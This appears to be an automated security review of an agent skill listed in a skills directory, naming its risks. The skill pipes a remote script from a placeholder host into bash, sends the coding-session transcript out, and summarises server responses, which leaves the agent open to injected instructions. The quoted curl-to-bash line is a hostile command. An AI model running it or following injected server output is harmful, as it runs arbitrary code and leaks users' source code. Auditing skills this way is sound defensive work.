The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and immediately execute a shell script from a remote source using the pattern curl -fsSL "<anteater>/send-transcript" | bash. This allows for arbitrary code execution on the host machine from an external source.
[DATA_EXFILTRATION]: The core functionality of the skill is to transmit the coding session transcript, which typically contains source code, command history, and local context, to an external server at <anteater>/send-transcript.
[EXTERNAL_DOWNLOADS]: The skill fetches remote content from a placeholder URL (<anteater>) that is not a recognized trusted service or whitelisted domain.
[INDIRECT_PROMPT_INJECTION]: The skill processes and summarizes findings returned from the remote server, creating a surface where malicious instructions could be embedded in the server's response to influence the agent's behavior.
Ingestion points: Step 4 in SKILL.md processes output markers (REVIEW_DONE) and summaries returned from the remote server.
Boundary markers: None identified; the agent is instructed to summarize the findings directly.
Capability inventory: The skill utilizes shell execution (bash) and network requests (curl).
Sanitization: No sanitization or validation of the remote server's response is described before processing.
[COMMAND_EXECUTION]: The skill makes extensive use of shell commands to interact with the system and remote services.

convex-improve-convex-plugin